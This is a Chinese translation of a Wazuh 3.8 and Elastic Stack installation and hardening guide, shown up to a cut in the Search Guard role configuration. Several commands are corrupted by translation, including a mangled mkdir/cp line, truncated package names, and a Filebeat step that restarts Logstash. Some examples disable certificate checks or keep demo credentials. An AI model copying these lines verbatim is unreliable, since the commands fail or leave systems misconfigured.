等待Elasticsearch服务器完成启动是非常重要。使用以下命令检查当前状态，该命令应该给出如下所示的响应： # curl "http://localhost:9200/?pretty" { "name" : "Zr2Shu_", "cluster_name" : "elasticsearch", "cluster_uuid" : "M-W_RznZRA-CXykh_oJsCQ", "version" : { "number" : "6.6.0", "build_flavor" : "default", "build_type" : "deb", "build_hash" : "053779d", "build_date" : "2018-07-20T05:20:23.451332Z", "build_snapshot" : false, "lucene_version" : "7.3.1", "minimum_wire_compatibility_version" : "5.6.0", "minimum_index_compatibility_version" : "5.0.0" }, "tagline" : "You Know, for Search" } 3.为Elasticsearch加载Wazuh模板：Kibana的Wazuh应用程序需要Elasticsearch模板才能正常工作，因此确保正确它非常重要。 # curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -X PUT "http://localhost:9200/_template/wazuh" -H 'Content-Type: application/json' -d @- 注意:建议编辑默认配置以提高Elasticsearch的性能。为此，请参阅Elasticsearch调优。 Logstash Logstash是收集，解析和转发数据到Elasticsearch的工具，用于索引和存储Wazuh服务器生成的所有日志。有关更多信息，请参阅Logstash。 安装Logstash包： # apt-get install logstash=1:6.6.0-1 2.下载Logstash的Wazuh配置文件： a.本地配置（仅在单主机架构中）： # curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-local.conf 由于Logstash用户需要读取alerts.json文件，请运行以下命令将其添加到OSSEC组： # usermod -a -G ossec logstash b.远程配置（仅在分布式架构中）： # curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-remote.conf 3. 启用并启动Logstash服务： a.for Systemd： # systemctl daemon-reload # systemctl enable logstash.service # systemctl start logstash.service b.for SysV Init： # update-rc.d logstash defaults 95 10 # service logstash start 注意:如果您在不同的系统（分布式体系结构）上运行Wazuh服务器和Elastic Stack服务器，则在Filebeat和Logstash之间配置加密非常重要。为此，请参阅为Filebeat和Logstash设置SSL。 Kibana Kibana是一个灵活，直观的Web界面，用于可视化存储在Elasticsearch中的事件和信息。在Kibana上查找更多信息。 安装Kibana包： # apt-get install kibana=6.6.0 为Kibana安装Wazuh应用程序插件： # sudo -u kibana NODE_OPTIONS="--max-old-space-size=3072" /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp-3.8.2_6.6.0.zip Kibana插件安装过程可能需要几分钟。请耐心等待 3.可选，Kibana默认只监听环回接口（localhost）。要将Kibana设置为侦听所有接口，请编辑该文件/etc/kibana/kibana.yml，并取消注释该设置server.host。将值更改为： server.host: "0.0.0.0" 注意：建议为Kibana设置Nginx代理，以便使用SSL加密并启用身份验证。可以在为Kibana设置SSL和身份验证中找到设置代理的说明。 4.并启动Kibana服务： a.for Systemd： # systemctl daemon-reload # systemctl enable kibana.service # systemctl start kibana.service b. for SysV Init： # update-rc.d kibana defaults 95 10 # service kibana start 5.（可选）禁用Elasticsearch更新： 建议禁用Elasticsearch更新源，以防止升级到较新的Elastic Stack版本，因为可能会撤消应用程序的更改。为此，请使用以下命令： # sed -i "s/^deb/#deb/" /etc/apt/sources.list.d/elastic-6.x.list # apt-get update 或者，您可以将程序包状态设置为hold，这将停止更新（尽管您仍然可以手动升级它） # echo "elasticsearch hold" | sudo dpkg --set-selections # echo "kibana hold" | sudo dpkg --set-selections # echo "logstash hold" | sudo dpkg --set-selections 安装Wazuh代理 Wazuh代理程序在您要监控的主机上运行。它是多平台的，并提供以下功能： 日志和数据收集， 文件完整性监控， rootkit和恶意软件检测 安全策略监测 此外，它还与Wazuh manger 进行通信，通过加密和认证的通道实时地发送数据。 安装Wazuh代理有多种选择，具体取决于操作系统以及是否希望从源代码构建。请参阅下表并选择如何继续执行： 类型描述 RPM包 在CentOS / RHEL / Fedora上安装Wazuh agnet DEB包 在Debian / Ubuntu上安装Wazuh agent Windows安装程序 在Windows上安装Wazuh agent 注意:使用Puppet，Chef，SCCM或Ansible等自动化工具可以更轻松地将agnet部署到大量服务器或端点上。如果要在更大的环境中部署Wazuh，请考虑探索这些方法。 使用RPM软件包安装Wazuh agent RPM软件包适合安装在Red Hat，CentOS和其他基于RPM的系统上。 注意：下面的许多命令都需要以root用户权限执行 添加Wazuh存储库 安装Wazuh代理的第一步是将Wazuh存储库添加到您的系统。或者，如果您想直接下载wazuh-agent软件包，或查看兼容版本，可以从这里开始。根据您的发行版运行以下命令来设置更新源： CentOS 6 / RHEL 6，CentOS 7 / RHEL 7，Fedora 22或更高版本以及Amazon Linux # cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH enabled=1 name=Wazuh repository baseurl=https://packages.wazuh.com/3.x/yum/ protect=1 EOF CentOS 5 / RHEL 5 # cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=http://packages.wazuh.com/key/GPG-KEY-WAZUH-5 enabled=1 name=Wazuh repository baseurl=http://packages.wazuh.com/3.x/yum/5/$basearch/ protect=1 EOF SUSE 12 # rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH # cat > /etc/zypp/repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH enabled=1 name=Wazuh repository baseurl=https://packages.wazuh.com/3.x/yum/ protect=1 EOF SUSE 11 # rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH-5 # cat > /etc/zypp/repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=http://packages.wazuh.com/key/GPG-KEY-WAZUH-5 enabled=1 name=Wazuh repository baseurl=http://packages.wazuh.com/3.x/yum/5/$basearch/ protect=1 EOF 安装Wazuh agent 在终端上，按如下方式安装Wazuh agent: 使用yum包安装： # yum install wazuh-agent 使用zypper包安装 # zypper install wazuh-agent 2.（可选）禁用Wazuh存储库： 建议禁用Wazuh更新源以防止意外升级。为此，请使用以下命令： 使用yum包管理器： # sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo 使用zypper包管理器： # sed -i "s/^enabled=1/enabled=0/" /etc/zypp/repos.d/wazuh.repo 使用DEB包安装Wazuh agent DEB包适用于Debian，Ubuntu和其他基于Debian的系统。 注意：下面的许多命令都需要以root用户权限执行 添加Wazuh存储库 安装Wazuh代理的第一步是将Wazuh存储库添加到您的服务器。或者，如果您希望直接下载wazuh-agent软件包，可以在此处找到它。 要执行此过程中，curl，apt-transport-https和lsb-release软件包必须安装在系统上。如果它们没有被安装，请使用以下命令安装它们： # apt-get install curl apt-transport-https lsb-release 2.安装Wazuh存储库GPG密钥 # curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - 3.添加存储库： # echo "deb https://packages.wazuh.com/3.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.list 4.更新包 # apt-get update 安装Wazuh agent 在您的终端上，安装Wazuh agent # apt-get install wazuh-agent 2.（可选）禁用Wazuh更新： 建议禁用Wazuh存储库以防止意外升级。为此，请使用以下命令： # sed -i "s/^deb/#deb/" /etc/apt/sources.list.d/wazuh.list # apt-get update 或者，您可以将程序包状态设置为hold，这将停止更新（尽管您仍然可以手动升级它） # echo "wazuh-agent hold" | sudo dpkg --set-selections 在Windows上安装Wazuh agent 注意:您将需要管理员权限才能执行此安装 在Windows计算机上安装Wazuh agent的第一步是从软件包列表中下载Windows安装程序。下载完成后，可以使用以下两种方法之一安装Windows代理： 使用GUI 使用命令 使用GUI 要从GUI安装Windows agent，请运行下载的文件，然后按照安装向导中的步骤操作。如果您不确定如何选择，只需使用默认选项安装即可。 安装后，agent 会使用图形用户界面进行配置，打开日志文件或启动和停止服务。 默认情况下，所有agent的配置文件将在：C:\Program Files(x86)\ossec-agent 注意：现在已安装agent程序，下一步是注册并配置它以与mangent通信。有关此过程的更多信息，请访问用户手册。 使用命令 注意:必须使用管理员权限运行进行自动安装 要从命令中安装Windows agent,请使用以下命令运行安装程序（该/q参数用与无人参与安装）： wazuh-agent-3.8.2-1.msi /q 要卸载 agent，将需要原始MSI文件来执行自动卸载 msiexec.exe /x wazuh-agent-3.8.2-1.msi /qn 您可以使用以下参数来自动安装authd注册agent： 选项描述 APPLICATIONFOLDER 设置安装路径。默认C:\Program Files (x86)\ossec-agent. ADDRESS 指定管理器IP地址或主机名。此选项还接受以分号分隔的IP或主机名列表。 SERVER_PORT 指定管理器连接端口。 PROTOCOL 设置管理器和代理之间的通信协议。接受UDP和TCP。默认为UDP。 AUTHD_SERVER 指定Authd IP地址。 AUTHD_PORT 指定Authd连接端口。 PASSWORD 设置Authd密码。 NOTIFY_TIME 设置管理器检查与agent 之间连接的时间。 TIME_RECONNECT 设置重新连接尝试之前的时间（以秒为单位）。 CERTIFICATE 指定授权路径证书。 PEM 指定证书路径。 KEY 指定密钥路径。 AGENT_NAME 指定代理的名称。默认情况下将是计算机名称。 GROUP 将指定的组分配给代理。 / l installer.log 生成安装过程的日志。 / l * v installer.log 生成安装过程的日志，包括详细消息。 下面是一些安装和注册Windows agent 的示例 使用带密码注册： wazuh-agent-3.8.2-1.msi /q ADDRESS="192.168.1.1" AUTHD_SERVER="192.168.1.1" PASSWORD="TopSecret" AGENT_NAME="W2012" 使用带密码注册并分配组： azuh-agent-3.8.2-1.msi /q ADDRESS="192.168.1.1" AUTHD_SERVER="192.168.1.1" PASSWORD="TopSecret" GROUP="my-group" 使用带CA注册的相对路径。它将在您的APPLICATIONFOLDER文件夹中搜索： wazuh-agent-3.8.2-1.msi /q ADDRESS="192.168.1.1" AUTHD_SERVER="192.168.1.1" AGENT_NAME="W2019" CERTIFICATE="rootCA.pem" 包含空格的CA，证书或密钥的绝对路径可以写成如下所示： wazuh-agent-3.8.2-1.msi /q ADDRESS="192.168.1.1" AUTHD_SERVER="192.168.1.1" KEY="C:\Progra~2\sslagent.key" PEM="C:\Progra~2\sslagent.cert" 数字“2”表示将在第二次出现“Progra”时搜索文件，因此，将在文件夹“C:\Program Files (x86)””中搜索密钥和证书。如果此数字为“1”，则将在“Program Files”中搜索。 注意：要通过SSL验证agent，必须同时使用KEY和PEM选项。请参阅带SSL的验证主机部分。 使用带协议注册 wazuh-agent-3.8.2-1.msi /q ADDRESS="192.168.1.1" AUTHD_SERVER="192.168.1.1" AGENT_NAME="W2016" PROTOCOL="TCP" 注意：在早于Windows Server 2008或Windows 7的Windows版本中，在Wazuh管理器上ossec-authd必须使用-a标志运行程序，或者在auth配置上设置<ssl_auto_negotiate>选项以避免兼容性错误。 可选配置 本节为与建立高效，稳定和安全的Wazuh环境相关的最佳实践提供指导。在这里，您将找到有关如何在分布式体系结构中设置SSL通信的信息（Wazuh服务器与Elastic Stack集群通信），如何使用Nginx为Kibana设置安全 agent 以及如何向Web用户添加身份验证接口。 内容 为Filebeat和Logstash设置SSL 为Kibana设置SSL和身份验证 保护Wazuh API Elasticsearch调优 Search Guard 自动安装Wazuh API 为Filebeat和Logstash设置SSL 如果您在单独的系统和服务器（分布式体系结构）上运行Wazuh服务器和Elastic Stack ，则在Filebeat和Logstash之间配置SSL加密非常重要。（这不适用于单服务器体系结构） 注意：下面的许多命令都需要以root用户权限执行 生成自签名SSL证书 生成SSL证书和密钥，如下所示： 在安装了Logstash服务器的计算机上，创建OpenSSL示例配置文件的副本。文件位置可能因操作系统而异： 在Debian或Ubuntu上： # cp /etc/ssl/openssl.cnf custom_openssl.cnf 在CentOS或Red Hat上： # cp /etc/pki/tls/openssl.cnf custom_openssl.cnf 注意：通常，您将在Elastic Stack服务器中运行Logstash服务器，或者，如果已在其中一个节点中设置了分布式Elasticsearch集群，则运行Logstash服务器。 2.编辑自定义配置文件custom_openssl.cnf： 找到该部分并添加如下所示的命令行，其中包含您的Elastic服务器的IP地址： [ v3_ca ] subjectAltName = IP: YOUR_SERVER_IP例如：[ v3_ca ] subjectAltName = IP: 192.168.1.23.生成SSL证书和密钥： # openssl req -x509 -batch -nodes -days 365 -newkey rsa:2048 -keyout /etc/logstash/logstash.key -out /etc/logstash/logstash.crt -config custom_openssl.cnf 4. 您可以删除自定义配置文件： # rm custom_openssl.cnf 配置Logstash服务器 新生成的SSL证书和密钥分别位于/etc/logstash/logstash.crt和/etc/logstash/logstash.key。接下来，配置Logstash以使用此新密钥与Filebeat进行通信。 编辑文件/etc/logstash/conf.d/01-wazuh.conf并取消注释与SSL相关的行。现在输入以下命令： input { beats { port => 5000 codec => "json_lines" ssl => true ssl_certificate => "/etc/logstash/logstash.crt" ssl_key => "/etc/logstash/logstash.key" } } 重新启动Logstash。该命令取决于OS init系统： for Systemd： # systemctl restart logstash.service for SysV Init： # service logstash restart 配置Filebeat 配置Filebeat以验证Logstash服务器的证书。 在安装了Filebeat 的计算机（Wazuh服务器）上，获取Logstash服务器的SSL证书文件/etc/logstash/logstash.crt并将其复制到/etc/filebeat/logstash.crt。 下面是一个示例，可用于将SSL证书从Logstash服务器复制到安装了Filebeat的Wazuh服务器： # scp root@LOGSTASH_SERVER_IP:/etc/logstash/logstash.crt /etc/filebeat 编辑文件/etc/filebeat/filebeat.yml,并取消注释与SSL内部相关的行，如下所示： output: logstash: hosts: ["192.168.1.2:5000"] ssl: certificate_authorities: ["/etc/filebeat/logstash.crt"] 重新启动Filebeat。该命令取决于OS init系统： a.for Systemd： # systemctl restart logstash.service b.for SysV Init： # service logstash restart 注意：有关更多详细信息，请参阅 Elastic的“ 与Logstash保护通信”指南。 为Kibana设置SSL和身份验证 默认情况下，Kibana（包括Wazuh应用程序）与最终用户系统上的Web浏览器之间的通信未加密。强烈建议将Kibana配置为使用SSL加密并启用身份验证。在本节中，我们将介绍如何使用NGINX设置完成此操作。 NGINX是一种流行的开源Web服务器和反向代理，以其高性能，稳定性，丰富的功能集，简单的配置和低资源消耗而着称。在此示例中，我们将其用作反向代理，以向最终用户提供对Kibana的加密和经过身份验证的访问。 注意：下面的许多命令都需要以root用户权限执行。Kibana Web界面的默认端口是5601。本案例将使80和443端口可用于HTTP / HTTPS访问。 用于Kibana的NGINX SSL代理（基于RPM的发行版） 用于Kibana的NGINX SSL代理（基于Debian的发行版） 用于Kibana的NGINX SSL代理（基于RPM的发行版） 安装NGINX： a.对于CentOS： # cat > /etc/yum.repos.d/nginx.repo <<\EOF [nginx] name=nginx repo baseurl=http://nginx.org/packages/centos/$releasever/$basearch/ gpgcheck=0 enabled=1 EOF # yum install ngin b.对于RHEL： # cat > /etc/yum.repos.d/nginx.repo <<\EOF [nginx] name=nginx repo baseurl=http://nginx.org/packages/rhel/$releasever/$basearch/ gpgcheck=0 enabled=1 EOF # yum install nginx 注意:有关更多信息，请参阅NGINX：官方Red Hat / CentOS软件包。 2.安装SSL证书和私钥： a.如果您拥有有效的签名证书，请将密钥文件<ssl_key>和证书文件复制到适当的位置： ＃ MKDIR -p的/ etc / PKI / TLS /证书的/ etc / PKI / TLS /私人 ＃ CP <ssl_pem> /etc/pki/tls/certs/kibana-access.pem ＃ CP <ssl_key>的/ etc / PKI / TLS /private/kibana-access.key b.如果您没有有效的签名证书，请按如下方式创建自签名证书。请记住将字段设置为您的服务器名称。例如，如果您的服务器是，您将执行以下操作： # mkdir -p /etc/pki/tls/certs /etc/pki/tls/private # openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/pki/tls/private/kibana-access.key -out /etc/pki/tls/certs/kibana-access.pem Generating a 2048 bit RSA private key ...........+++ ................+++ writing new private key to '/etc/pki/tls/private/kibana-access.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: US State or Province Name (full name) [Some-State]: California Locality Name (eg, city) []: San Jose Organization Name (eg, company) [Internet Widgits Pty Ltd]: Example Inc. Organizational Unit Name (eg, section) []: section Common Name (e.g. server FQDN or YOUR name) []: example.com Email Address []: [email protected] 3.将NGINX配置为Kibana的HTTPS反向代理： # cat > /etc/nginx/conf.d/default.conf <<\EOF server { listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { listen 443 default_server; listen [::]:443; ssl on; ssl_certificate /etc/pki/tls/certs/kibana-access.pem; ssl_certificate_key /etc/pki/tls/private/kibana-access.key; access_log /var/log/nginx/nginx.access.log; error_log /var/log/nginx/nginx.error.log; location / { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/conf.d/kibana.htpasswd; proxy_pass http://kibana-server-ip:5601/; } } EOF 注意:我们配置Nginx以封装Kibana服务器的IP地址。此配置允许将Kibana请求重定向到HTTPS。使用此配置时，建议编辑文件/etc/kibana/kibana.yml以将字段设置server.host为localhost。必须重新启动Kibana服务才能应用此更改。 4.如果正在使用SELinux，则允许NGINX连接到Kibana端口： # semanage port -a -t http_port_t -p tcp 5601 注意:这假设您已安装policycoreutils-python来管理SELinux。 通过htpasswd启用身份验证 安装httpd-tools包 # yum install httpd-tools 2.生成.htpasswd文件，确保替换wazuh为您选择的用户名，与auth_basic_user_file匹配： # htpasswd -c /etc/nginx/conf.d/kibana.htpasswd wazuh 3.重启NGINX： a.for Systemd： # systemctl restart nginx b. for SysV Init： # service nginx restart 现在，通过HTTPS访问Kibana Web界面。它将提示您输入在上述步骤中创建的用户名和密码。 警告:如果您遇到权限问题或获得502代码错误，请尝试执行以下命令： setsebool -P httpd_can_network_connect 1 用于Kibana的NGINX SSL代理（基于Debian的发行版） 安装NGINX： # apt-get install nginx 2.安装SSL证书和私钥： a.如果您拥有有效的签名证书，请将密钥文件<ssl_key>和证书文件复制<ssl_pem>到适当的位置： # mkdir -p /etc/ssl/certs /etc/ssl/private # cp <ssl_pem> /etc/ssl/certs/kibana-access.pem # cp <ssl_key> /etc/ssl/private/kibana-access.key b.如果您没有有效的签名证书，请按如下方式创建自签名证书： # mkdir -p /etc/ssl/certs /etc/ssl/private # openssl req -x509 -batch -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/kibana-access.key -out /etc/ssl/certs/kibana-access.pem Generating a 2048 bit RSA private key .............+++ ..+++ writing new private key to '/etc/ssl/private/kibana-access.key' ----- 3.将NGINX配置为Kibana的HTTPS反向代理： # cat > /etc/nginx/sites-available/default <<\EOF server { listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { listen 443 default_server; listen [::]:443; ssl on; ssl_certificate /etc/ssl/certs/kibana-access.pem; ssl_certificate_key /etc/ssl/private/kibana-access.key; access_log /var/log/nginx/nginx.access.log; error_log /var/log/nginx/nginx.error.log; location / { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/conf.d/kibana.htpasswd; proxy_pass http://kibana-server-ip:5601/; } } EOF 注意:我们配置Nginx以封装Kibana服务器的IP地址。此配置允许将Kibana请求重定向到HTTPS。使用此配置时，建议编辑文件/etc/kibana/kibana.yml以将字段设置server.host为localhost。必须重新启动Kibana服务才能应用此更改。 通过htpasswd启用身份验证 安装apache2-utils包： # apt-get install apache2-utils 2.使用您选择的用户名生成.htpasswd替换<user>下面的文件： # htpasswd -c /etc/nginx/conf.d/kibana.htpasswd <user> 3.重启NGINX： a.For Systemd: # systemctl restart nginx b.For SysV Init: # service nginx restart 现在，通过HTTPS访问Kibana Web界面。它将提示您输入在上述步骤中创建的用户名和密码。 保护Wazuh API 默认情况下，Wazuh Kibana App和Wazuh API之间的通信未加密。强烈建议您按照以下步骤保护Wazuh API： 更改默认凭据： 默认情况下，您可以通过键入用户“foo”和密码“bar”来访问Wazuh API，但是，您可以按如下方式创建新凭据： # cd /var/ossec/api/configuration/auth # node htpasswd -c user myUserName 然后，您需要重新启动wazuh-api和wazuh-manager服务才能使更改生效。 2.启用HTTPS： 要启用HTTPS，您需要生成或提供证书。您可以学习如何生成自己的证书或使用脚本自动生成证书: /var/ossec/api/scripts/configure_api.sh 3.绑定到localhost： 如果您不需要从外部访问API，则应将API绑定到localhost使用配置文件/var/ossec/api/configuration/config.js中的选项的config.host。 Elasticsearch调整 本指南总结了允许优化Elasticsearch的相关配置。 1.Memory locking 2.Shards and replicas Memory locking 当系统交换内存时，Elasticsearch的性能很差。对于节点的运行状况而言，任何JVM都不会交互到磁盘是至关重要的。 在本示例中，我们将展示如何将bootstrap.memory_lock设置为true，以便Elasticsearch将进程地址空间锁定到RAM中。这可以防止任何Elasticsearch内存被溢出。 设置bootstrap.memory_lock 取消注释或将此行添加到文件中/etc/elasticsearch/elasticsearch.yml： bootstrap.memory_lock: true 2.编辑系统资源的限制 配置系统设置的位置取决于您选择用于Elasticsearch安装的软件包和操作系统。 在使用systemd的情况下，需要通过systemd指定系统限制。为此，请创建执行命令的文件夹： # mkdir -p /etc/systemd/system/elasticsearch.service.d/ 然后，在新目录中，添加一个名为elasticsearch.conf文件，并指定该文件中的设置 [Service] LimitMEMLOCK=infinity 在其他情况下，编辑/etc/sysconfig/elasticsearch（RPM）或/etc/default/elasticsearch（Debian ）并正确设置： MAX_LOCKED_MEMORY=unlimited 3.Limit memory 如果Elasticsearch尝试分配的内存超过可用内存，则先前的配置可能会导致节点不稳定甚至节点挂掉。JVM堆限制将有助于限制内存使用并防止出现这种情况。 设置Elasticsearch内存大小时，有两个规则适用： 使用不超过可用RAM的50％。 使用不超过32 GB。 此外，重要的是要考虑主机上运行的操作系统，服务和软件的内存使用情况。 默认情况下，Elasticsearch配置有1 GB的内存。您可以使用以下/etc/elasticsearch/jvm.options文件通过JVM标志更改内存大小： # Xms represents the initial size of total heap space # Xmx represents the maximum size of total heap space -Xms4g -Xmx4g 警告：确保min（Xms）和max（Xmx）大小相同，以防止JVM内存在运行时调整大小，因为这是一个非常重要的过程。 4.重启Elasticsearch 最后，重启Elasticsearch服务： a.for Systemd： # systemctl daemon-reload # systemctl restart elasticsearch b.for SysV Init： # service elasticsearch restart 启动Elasticsearch后，您可以通过检查mlockall下一个请求的输出中的值来查看是否已成功应用此设置： # curl "http://localhost:9200/_nodes?filter_path=**.mlockall&pretty" { "nodes" : { "sRuGbIQRRfC54wzwIHjJWQ" : { "process" : { "mlockall" : true } } } } 如果该"mlockall"字段的输出为false，则请求失败。您还会在日志（位于）中找到无法锁定JVM内存的行/var/log/elasticsearch/elasticsearch.log。 参考： 内存锁定检查 bootstrap.memory_lock 启用bootstrap.memory_lock。 Heap: Sizing and Swapping. 限制内存使用量 Shards and replicas Elasticsearch提供了将索引拆分为多个称为分片的段的功能。每个分片本身都是一个功能齐全且独立的“索引”，可以托管在集群中的任何节点上。分片很重要，主要有两个原因： 您可以水平拆分/缩放内容卷 您可以跨分片区分发和并行化操作，从而提高性能和吞吐量。 此外，Elasticsearch允许您将索引的分片的一个或多个副本转换成所谓的副本分片或简称副本。复制很重要，主要有两个原因： 它在碎片或节点出现故障时提供高可用性 它允许您扩展搜索量和吞吐量，因为可以在所有副本上并行执行搜索。 警告：可以在创建索引时为每个索引定义分片和副本的数量。创建索引后，您可以动态更改副本数，但是，您无法在事后更改分片数。 我的索引应该有多少个分片？ 由于在没有重建索引的情况下无法重新设置（更改分片数），因此应仔细考虑在创建第一个索引之前需要多少分片。您在安装中计划的节点数将影响您应该计划的分片数。通常，通过使用与节点相同数量的分片来实现最佳性能。因此，具有三个节点的群集应该具有三个分片，而具有一个节点的群集将仅需要一个分片。 我的索引应该有多少个副本？ 让我们看看如何设置具有三个节点和三个分片的集群的一些选项： 无副本：每个节点都有一个分片。如果节点发生故障，我们将留下两个分片的不完整索引。 一个副本：每个节点有一个分片和一个副本。如果节点出现故障，我们仍然会有一个完整的索引。 两个副本：每个节点有一个分片和两个副本（完整索引）。通过此设置，即使两个节点发生故障，群集仍可以正常运行。这似乎是最好的解决方案，但它确实增加了存储要求。 设置分片和副本的数量 使用RPM或Debian软件包的默认安装Elastic Stack 将为每个索引配置五个主分片和一个副本。 如果要更改这些设置，则需要编辑Elasticsearch模板。在以下示例中，分片和副本的正确值在仅包含一个节点的群集中配置。 警告：如果已创建索引，则必须在编辑模板后重新编辑索引。 下载Wazuh Elasticsearch模板： # curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json -o w-elastic-template.json 2.编辑模板以设置一个没有副本的分片： # nano w-elastic-template.json { "order": 0, "template": "wazuh-alerts-3.x-*", "settings": { "index.refresh_interval": "5s", "number_of_shards" : 1, "number_of_replicas" : 0 }, "mappings": { "...": "..." } } 3.加载模板： # curl -X PUT "http://localhost:9200/_template/wazuh" -H 'Content-Type: application/json' -d @w-elastic-template.json { "acknowledged" : true } 4.可选。确认您的配置已成功更新： # curl "http://localhost:9200/_template/wazuh?pretty&filter_path=wazuh.settings" { "wazuh" : { "settings" : { "index" : { "number_of_shards" : "1", "number_of_replicas" : "0", "refresh_interval" : "5s" } } } } 更改副本数量 可以使用Elasticsearch API动态更改副本数。 在具有一个节点的群集中，副本数应设置为零： # curl -X PUT "http://localhost:9200/wazuh-alerts-*/_settings?pretty" -H 'Content-Type: application/json' -d' { "settings" : { "number_of_replicas" : 0 } } ' { "acknowledged" : true } 请注意，我们假设您的目标索引模式是“wazuh-alerts- *”，但是，可以使用不同的索引模式。您可以使用以下命令查看当前索引的完整列表： # curl "http://localhost:9200/_cat/indices" 参考： Shards & Replicas. Search Guard Search Guard可用于通过使用不同的行业标准身份验证技术来保护您的Elasticsearch集群，例如Kerberos，LDAP/Active Directory，JSON Web令牌，TLS证书和代理身份验证 SSO。 无论您使用何种身份验证方法，基本流程如下： 用户想要访问Elasticsearch集群，例如通过发出简单查询。 Search Guard从请求中检索用户的凭据 如何检索凭据取决于身份验证方法。例如，可以从HTTP基本身份验证头，JSON Web令牌或Kerberos票证中提取它们。 Search Guard根据配置的身份验证后端对凭据进行身份验证。 Search Guard通过从配置的授权后端检索用户角色的列表来授权用户 从授权后端检索的角色称为后端角色。 例如，可以从LDAP / AD，JSON Web令牌或Search Guard内部用户数据库中获取角色。 Search Guard将用户和后端角色映射到Search Guard角色。 Search Guard确定与Search Guard角色关联的权限，并决定是否允许用户执行的操作。 如果您使用的是文档和字段级安全性，则还可以根据文档和单个字段应用精细化的权限。 为Logstash设置Search Guard 我们的默认配置不使用Logstash的身份验证，因此我们需要正确配置它。编辑Logstash配置文件（位于/etc/logstash/conf.d/01-wazuh.conf）： 1.停止Logstash服务： # systemctl stop logstash 2.查找输出部分并将其替换为以下内容： output { elasticsearch { hosts => ["ELASTICSEARCH_HOST:9200"] index => "wazuh-alerts-3.x-%{+YYYY.MM.dd}" document_type => "wazuh" user => logstash password => logstash ssl => true ssl_certificate_verification => false } } 3.重新启动Logstash。 # systemctl restart logstash 警告：必须对所有Logstash配置应用此配置，替换特定字段（如主机或索引），具体取决于您的Logstash位置和要求。 为Elasticsearch设置Search Guard 目前，不支持同时使用X-Pack安全性。如果您的环境当前正在使用X-Pack安全功能，则必须先将其禁用，然后再继续阅读本示例： 对于Elasticsearch，您需要在所有节点中编辑文件/etc/elasticsearch/elasticsearch.yml，并添加以下命令： xpack.security.enabled: false 现在重启Elasticsearch服务： # systemctl restart elasticsearch Search Guard必须与 Elastic stack中的任何其他组件一样适合Elasticsearch版本。Search Guard的版本控制略有不同，请在Search Guard版本中查看您的版本。 Search Guard的版本控制语法如下： com.floragunn:search-guard-6:<elastic_version>-<searchguard_version> 本文档是为我们最新支持的版本设计的，它是6.5.4，所以我们的正确的版本设置： com.floragunn:search-guard-6:6.5.4-24.0 由于Search Guard是一个插件，我们必须像其他Elasticsearch插件安装它： sudo -u elasticsearch \ /usr/share/elasticsearch/bin/elasticsearch-plugin install \ -b com.floragunn:search-guard-6:6.5.4-24.0 Search Guard附带一个演示配置，它作为新手很有用，所以让我们安装演示配置： $ cd /usr/share/elasticsearch/plugins/search-guard-6/tools/ $ chmod a+x install_demo_configuration.sh # ./install_demo_configuration.sh Install demo certificates? [y/N] y Initialize Search Guard? [y/N] y Enable cluster mode? [y/N] y 重启Elasticsearch服务： # systemctl restart elasticsearch 您可以使用下一个请求检查它是否按预期执行（Search Guard需要大约两分钟来创建其内部索引，因此请耐心等待）： $ curl -k -u admin:admin https://<ELASTICSEARCH_HOST>:9200/_searchguard/authinfo?pretty { "user" : "User [name=admin, roles=[admin], requestedTenant=null]", "user_name" : "admin", "user_requested_tenant" : null, "remote_address" : "10.0.0.4:46378", "backend_roles" : [ "admin" ], "custom_attribute_names" : [ "attr.internal.attribute1", "attr.internal.attribute2", "attr.internal.attribute3" ], "sg_roles" : [ "sg_all_access", "sg_own_index" ], "sg_tenants" : { "admin_tenant" : true, "admin" : true }, "principal" : null, "peer_certificates" : "0", "sso_logout_url" : null } 设置Search Guard角色 Search Guard使用核心角色。Search Guard用户角色使用核心角色。最后，Search Guard用户使用用户角色。 角色文件 /usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_roles.yml Search Guard在引擎下使用核心角色 角色映射 /usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_roles_mapping.yml Search Guard用户使用的角色。这些角色可以组合多个核心角色。 内部用户 /usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_internal_users.yml 这些是所有组件将使用的用户。每个组件使用具有自己角色的不同用户。 Logstash角色 Logstash有自己的预定义用户和自己的预定义角色。由于Wazuh使用wazuh-alerts-3.x- *前缀创建自定义Elasticsearch索引，因此必须将该索引前缀添加到Logstash角色。 编辑Logstash角色，位于/usr/share/elasticsearch/plugins/search-guard-6/sgconfig/sg_roles.yml sg_logstash: cluster: - CLUSTER_MONITOR - CLUSTER_COMPOSITE_OPS - indices:admin/template/get - indices:admin/template/put indices: 'logstash-*': '*': - CRUD - 